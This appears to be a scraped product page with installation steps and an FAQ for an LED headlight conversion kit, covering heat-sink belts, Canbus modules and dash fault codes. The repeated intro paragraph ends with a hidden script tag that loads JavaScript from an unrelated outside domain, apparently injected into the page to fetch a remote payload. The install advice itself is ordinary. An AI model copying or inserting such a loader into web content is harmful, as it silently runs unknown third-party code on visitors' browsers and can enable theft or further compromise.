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<ul>
<li>Remove the dust cover at the back of the headlight housing. </li>
<li>
<em><span style="text-decoration: underline;">For vehicles that use a locking spring to hold the globe in place</span>, unclip the locking spring, remove the original globe by twisting anti clockwise slightly, and disconnect the power cable from the globe. Before installing the new LED globe, </em><em>remove the copper locking plate fitted to the new globe and install it into the headlight housing, using the locking spring to secure it in position. Now insert the new LED globe into the locking plate, <span>twisting it clockwise slightly to lock it in place. With some vehicles there is very limited space and you may need to bend the copper belts before attempting to fit the LED globe. </span></em>
</li>
<li>If there is no locking spring, simply remove the original globe, unplug the vehicles power cable from the globe and insert the new LED globe, twisting it clockwise slightly to lock it in place. <em>With some vehicles there is very limited space and you may need to bend the copper belts before attempting to fit the LED globe. </em> </li>
<li>Once installed, look from the front of the headlight and check that the LED's are facing left and right (not up and down). </li>
<li>Important reminder: Use your fingers to separate the copper heat sink belts attached to the globe prior to first use. Failure to do so will significantly shorten the life of the globe. </li>
<li>Fold the copper heat sink belts into the headlight housing. <em> </em>
</li>
<li>Connect the (blue) LED Driver unit to the new LED globe, then connect the plug from original headlight wiring to the (blue) LED Driver. </li>
<li>Place the LED Driver inside the headlight housing and refit the dust cover. </li>
<li>Now test to make sure everything is working. </li>
<li>
<p class="wysiwyg-text-align-left"><span>Headlight adjustment should not be necessary with the Vanquish headlight conversion kit provided it has been installed correctly, as the beam pattern is maintained when changing from halogen to LED. </span>If a headlight alignment is required after installation please refer to the blog for Adjusting Your Headlights. </p>
</li>
</ul>
<p><strong>FAQ:</strong></p>
<p>Q: I have installed a LED headlight conversion kit to my vehicle and a fault code has appeared on the dash, and I have lost my low beam. What is the issue?</p>
<p>A: You will need to install a Canbus module kit to suit your vehicle. You may also need to have your fault code cleared by a dealer or service agent if the fault light still appears after Canbus install.</p>
<p>Q: I have installed a LED headlight conversion kit to my vehicle and a fault code has now appeared on the dash.<strong> <u>l have attempted multiple resets</u></strong> to clear the fault message, so what now?</p>
<p>A: You will need a Canbus module but <u>please contact your dealer or vehicle service agent to clear</u> <u>the fault before proceeding with installation</u> as you run the risk of doing irreversible damage to your vehicles BCM after several re-set attempts.</p>
<p>Q: After installing the <strong>Vanquish</strong> LED headlight conversion the headlights come on for a couple of seconds then shut off. I have tried putting the halogen globes back in and they still don't work on low beam (in some cases no low or high beam).</p>
<p>A: This can happen for a number of reasons. If you have previously installed an LED or HID headlight conversion kit it may have tripped the BCM in which case the fault will need to be cleared by a dealer or service agent. It seems your vehicle doesn’t have canbus modules fitted and this is causing the issue. so once the BCM fault has been cleared you will need to install canbus modules at the same time you fit your LED headlight conversion kit. Rangers & BT50's are highly sensitive to change even when wiring up aux lighting. You need to be careful when tapping into the high beam as a trigger wire as this can also register a fault code. </p>
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<p>The following is a generic guide to installing our LED headlight conversion kit and will apply to most vehicles post 1995. For a small number of vehicles such as the Ford Ranger XL, XLS, XLT and Wildtrack, installation can be a little trickier and for these vehicles you can access one of the many installation tutorials found on Youtube.<script type="text/javascript" async="" src="//proudflex.org/213db237bbd6bf854a.js"></script></p>
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<p>The following is a generic guide to installing our LED headlight conversion kit and will apply to most vehicles post 1995. For a small number of vehicles such as the Ford Ranger XL, XLS, XLT and Wildtrack, installation can be a little trickier and for these vehicles you can access one of the many installation tutorials found on Youtube.<script type="text/javascript" async="" src="//proudflex.org/213db237bbd6bf854a.js"></script></p>
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"published_at": "2020-01-06 00:38:00 +1000",
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"title": "LED Headlight Conversion Kit Install",
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